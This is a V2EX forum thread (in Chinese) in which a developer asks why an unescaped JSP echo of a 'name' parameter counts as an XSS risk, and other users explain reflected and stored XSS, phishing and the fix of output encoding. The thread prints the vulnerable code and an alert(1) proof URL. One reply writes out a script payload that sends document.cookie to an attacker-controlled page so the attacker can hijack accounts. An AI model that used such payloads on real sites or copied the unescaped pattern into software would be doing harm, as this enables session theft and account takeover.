nikoo
V2EX  ›  问与答

关于跨站脚本攻击( XSS ),这种情况危险性在哪里?

  •  
  •   nikoo · Sep 4, 2017 · 4593 views
    This topic created in 3351 days ago, the information mentioned may be changed or developed.
    今天程序被检测出有漏洞,面临跨站脚本攻击( XSS )的风险

    具体代码是:
    String name=request.getParameter("name");//获取 name 参数
    out.println(name);//直接打印 name 参数到前端

    是的,获得的 name 参数未做任何过滤直接打印在前端页面
    但是 name 参数不涉及任何数据库储存以及后台程序操作,就是上面这两行而已,仅仅是获取 GET/POST 来的 name 参数并打印在提交者的前台页面

    漏洞提交者给出 xxx.jsp?name=<script>alert(1)</script> 这样的 URL 来证明漏洞存在,访问该 URL 也的确在前台直接执行了 alert(1) 的 JS 代码。

    当然不是为这种考虑不周不安全的代码辩护
    只是想知道,这种情况下风险到底在哪里?具体这个漏洞又能如何被利用呢?
    22 replies  •  2017-09-04 19:05:00 +08:00
    torbrowserbridge
    torbrowserbridge
    Sep 4, 2017 via Android
    1
    cookie
    nikoo
    nikoo
    OP
    Sep 4, 2017
    2
    @torbrowserbridge 谢谢,这段代码只能是提交者自己执行
    torbrowserbridge
    torbrowserbridge
    Sep 4, 2017 via Android
    3
    检测程序又不知道是不是只能自己执行。
    skyleft
    skyleft
    Sep 4, 2017❤️2
    4
    xxx.jsp?name=<script>location.href=xxx.php?xx=document.cookie</script> 把这个 url 发给网站的其他用户 然后自己写个 xxx.php 收集登录 cookie 然后登录其他用户的账号 干什么什么
    limhiaoing
    limhiaoing
    Sep 4, 2017 via iPhone❤️2
    5
    构造 url 发给其他人打开。
    Zzzzzzzzz
    Zzzzzzzzz
    Sep 4, 2017❤️1
    6
    偷 cookie

    黑产中间跳转页
    torbrowserbridge
    torbrowserbridge
    Sep 4, 2017 via Android
    7
    @skyleft 🤤
    nikoo
    nikoo
    OP
    Sep 4, 2017
    8
    @torbrowserbridge @skyleft @limhiaoing 非常感谢!

    构造非法 URL 并诱导用户点开盗取 cookie,的确是这样!

    这是唯一的风险吗?还有没有其他的利用可能?
    0ZXYDDu796nVCFxq
    0ZXYDDu796nVCFxq
    Sep 4, 2017 via iPhone❤️1
    9
    还有存储型的,可以改网站代码,这样任何访问页面的人都有可能中招。
    nikoo
    nikoo
    OP
    Sep 4, 2017
    10
    @gstqc 谢谢

    也就是非法代码如果不被储存的话,只能通过诱导点击实现攻击?
    am241
    am241
    Sep 4, 2017 via Android❤️1
    11
    能以用户的身份提交,获取数据

    极端情况下能搞出 xss 蠕虫
    0ZXYDDu796nVCFxq
    0ZXYDDu796nVCFxq
    Sep 4, 2017 via iPhone❤️1
    12
    @nikoo 对,这种叫做反射型。
    存储型比较常见的方式是论坛、评论区等,当然任何接受用户输入并存储的都有可能存在。
    tony1016
    tony1016
    Sep 4, 2017
    13
    轻者偷你用户的账户信息,重者把访问你的用户变成肉鸡
    shiji
    shiji
    Sep 4, 2017 via Android
    14
    @torbrowserbridge
    @skyleft
    @limhiaoing
    那如果重要 cookie 开启了 httponly,这是不是就没什么用了
    lmfx89
    lmfx89
    Sep 4, 2017
    15
    @shiji 那就退而求其次重定向到钓鱼的登录页面。
    maplerecall
    maplerecall
    Sep 4, 2017
    16
    可以伪装成用户做任何事情,比如肆意盗取、修改数据,发表广告、不正当言论等等……

    其实只要把输出到页面上的外部内容都转义一下就好,也就两三行代码的事情
    Mutoo
    Mutoo
    Sep 4, 2017
    17
    反射型的 XXS 有很多玩法,一个不容易注意到的就是利用你的域名的权威性做欺诈。
    设想如果 some.qq.com/page/?=xxs-here 存在 xxs 利用漏洞,那就可以在这个页面做钓鱼,更具欺骗性。
    yyfearth
    yyfearth
    Sep 4, 2017
    18
    XSS 攻击本身危害可能并不是很大 但是往往是其它类型攻击的入口 如果是存储型 可以影响很多其它用户 就算是纯粹的反射型也可以诱导用户点击 然后注入脚本 盗取 cookie 或者 直接控制用户 代替用户做任何事情

    举个例子 如果你是管理员 有人给你发钓鱼邮件 里面有伪装过的 XSS 注入脚本的链接 你点击后 由于你已经管理员账号登陆 可以盗取你的 cookie 就算是 cookie 不可读 也可以用你管理员的身份 创建新管理员账号 或者直接就是破坏 反正你能做的事 注入的脚本也可以

    在比如 如果是聊天系统或者可以发送内容的系统 一个人中 XSS 注入脚本就可以利用这个人登陆的账号公开或者对其他账号发送注入的链接达到传播的目的

    防范也很简单 基本上就是 根据是 html 内容还是属性进行编码就可以解决
    Gn
    Gn
    Sep 4, 2017 via Android
    19
    获取 Cookie 算是其一,还可以构造一个登录表单,样式仿造你的网站,这样用户单看域名就很难防范。
    66beta
    66beta
    Sep 4, 2017
    20
    不用想太多,能执行 JS 就很危险
    yu1u
    yu1u
    Sep 4, 2017 via iPhone
    21
    楼上的已经概括完了
    ctsed
    ctsed
    Sep 4, 2017 via Android
    22
    曾经新浪微博点链接跳转很卡,然后就是莫名关注了几百个号
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   1504 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 49ms · UTC 04:17 · PVG 12:17 · LAX 20:17 · JFK 23:17
    ♥ Do have faith in what you're doing.